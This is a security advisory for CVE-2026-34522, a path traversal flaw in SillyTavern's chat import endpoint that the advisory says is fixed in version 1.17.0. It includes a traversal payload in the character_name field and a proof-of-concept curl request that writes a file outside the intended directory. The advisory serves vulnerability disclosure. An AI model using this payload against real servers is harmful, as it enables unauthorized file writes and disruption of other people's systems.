CVE-2026-34522

Description

### Summary A path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`. ### Details `character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization. Evidence: - Import handler entrypoint: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686> - Unsanitized `character_name` used in output filename: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723> - Same write pattern in JSONL import branch: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239> Example payload: - `character_name=../../../../tmp/st_poc` This causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account). ### PoC Prerequisites: - Valid authenticated session cookie (`cookie.txt`) - Valid CSRF token (`$TOKEN`) Prepare payload: ```bash printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl ``` Trigger arbitrary write: ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" \ -F "avatar=@/tmp/poc.jsonl" \ -F "file_type=jsonl" \ -F "avatar_url=a.png" \ -F "character_name=../../../../tmp/st_poc" \ -F "user_name=u" \ http://TARGET:8000/api/chats/import ``` Observed result: - A file is created outside chats directory, for example: `/tmp/st_poc - <timestamp> imported.jsonl` ### Impact - Integrity: attacker can create files in unintended filesystem locations. - Availability: can be used for disk abuse and disruptive file placement. - Can become more severe when chained with other local processing behaviors. ### Resolution The issue was addressed in version 1.17.0

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